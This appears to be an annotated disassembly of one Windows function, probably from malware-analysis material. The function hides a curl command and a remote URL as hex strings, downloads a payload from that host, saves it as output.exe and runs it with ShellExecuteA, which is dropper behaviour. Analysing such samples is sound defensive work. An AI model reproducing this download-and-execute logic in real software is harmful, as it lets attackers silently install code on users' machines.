Function at 0x4013d0
Capabilities:
Create pipe
Create process on windows
Create process suspended
Read file on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
push edi
mov eax, 0x11bc
push esi
push ebx
call fcn.00401fa0
xor esi, esi
mov ecx, 0x11
sub esp, eax
mov eax, esi
lea ebx, [esp + 0x6c]
mov dword [esp + 0x5c], 0
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
mov dword [esp + 0x68], 0
mov edi, ebx
mov dword [esp + 0x50], 0xc
mov dword [esp + 0x54], 0
rep stosd dword es:[edi], eax
lea eax, [esp + 0x50]
mov dword [esp + 0xc], 0
mov dword [esp + 0x6c], 0x44
mov dword [esp + 0x98], 0x100
mov dword [esp + 0x58], 1
mov dword [esp + 8], eax
lea eax, [esp + 0x48]
mov dword [esp + 4], eax
lea eax, [esp + 0x44]
mov dword [esp], eax
call sub.KERNEL32.dll_CreatePipe
sub esp, 0x10
test eax, eax
jne 0x401480
mov eax, 1
add esp, 0x11bc
pop ebx
pop esi
pop edi
pop ebp
ret 0x10
mov eax, dword [esp + 0x44]
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], eax
call sub.KERNEL32.dll_SetHandleInformation
sub esp, 0xc
test eax, eax
je 0x401467
mov eax, dword [esp + 0x48]
mov dword [esp], 0xfffffff6
mov dword [esp + 0xa8], eax
mov dword [esp + 0xac], eax
call sub.KERNEL32.dll_GetStdHandle
sub esp, 4
lea ebp, [esp + 0xb0]
mov dword [esp], str.68747470733a2f2f646c2e696e6f746966792e746563682f617574685f73736c2e706870
mov dword [esp + 0xa4], eax
call fcn.00401340
mov dword [esp], str.6375726c2e657865202d73202d6b202d4c202d2d636f6e6e6563742d74696d656f757420313530
mov dword [esp + 0x3c], eax
mov edi, ebp
call fcn.00401340
mov ecx, 0x40
mov edx, eax
mov eax, esi
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x3c]
mov dword [esp + 8], edx
mov dword [esp + 4], str._s__s
mov dword [esp], ebp
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_sprintf
lea eax, [esp + 0x5c]
mov dword [esp + 0x20], ebx
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x24], eax
mov dword [esp + 0x10], 1
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebp
mov dword [esp], 0
call sub.KERNEL32.dll_CreateProcessA
sub esp, 0x28
mov ebx, eax
mov eax, dword [esp + 0x48]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
test ebx, ebx
je 0x401467
xor ebx, ebx
xor esi, esi
lea edi, [esp + 0x4c]
lea ebp, [esp + 0x1b0]
jmp 0x4015cb
mov eax, dword [esp + 0x4c]
test eax, eax
je 0x4015f6
add eax, esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_realloc
test eax, eax
mov ebx, eax
je 0x401730
mov edx, dword [esp + 0x4c]
lea eax, [eax + esi]
mov dword [esp + 4], ebp
mov dword [esp], eax
mov dword [esp + 8], edx
call sub.msvcrt.dll_memcpy
add esi, dword [esp + 0x4c]
mov eax, dword [esp + 0x44]
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edi
mov dword [esp + 8], 0x1000
mov dword [esp + 4], ebp
mov dword [esp], eax
call sub.KERNEL32.dll_ReadFile
sub esp, 0x14
test eax, eax
jne 0x401590
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [esp + 0x5c]
mov dword [esp + 4], 0xffffffff
mov dword [esp], eax
call sub.KERNEL32.dll_WaitForSingleObject
sub esp, 8
test esi, 0xfffffffb
je 0x401700
test ebx, ebx
je 0x401700
mov dword [esp + 8], 4
mov dword [esp + 4], str.true
mov dword [esp], ebx
call sub.msvcrt.dll_memcmp
test eax, eax
je 0x401700
mov dword [esp + 4], 0x4040cb
mov dword [esp], str.output.exe
call sub.msvcrt.dll_fopen
test eax, eax
mov edi, eax
je 0x401690
mov dword [esp + 0xc], eax
mov dword [esp + 8], esi
mov dword [esp + 4], 1
mov dword [esp], ebx
call sub.msvcrt.dll_fwrite
mov dword [esp], edi
mov ebp, eax
call sub.msvcrt.dll_fclose
cmp ebp, esi
je 0x4016c3
mov dword [esp], ebx
call sub.msvcrt.dll_free
nop
lea esi, [esi]
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x401467
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.output.exe
mov dword [esp + 4], str.open
mov dword [esp], 0
call sub.SHELL32.DLL_ShellExecuteA
sub esp, 0x18
lea esi, [esi]
mov dword [esp], ebx
call sub.msvcrt.dll_free
mov eax, dword [esp + 0x5c]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
mov eax, dword [esp + 0x60]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
xor eax, eax
sub esp, 4
jmp 0x40146c
mov eax, dword [esp + 0x44]
mov dword [esp], eax
call sub.KERNEL32.dll_CloseHandle
sub esp, 4
jmp 0x4016a0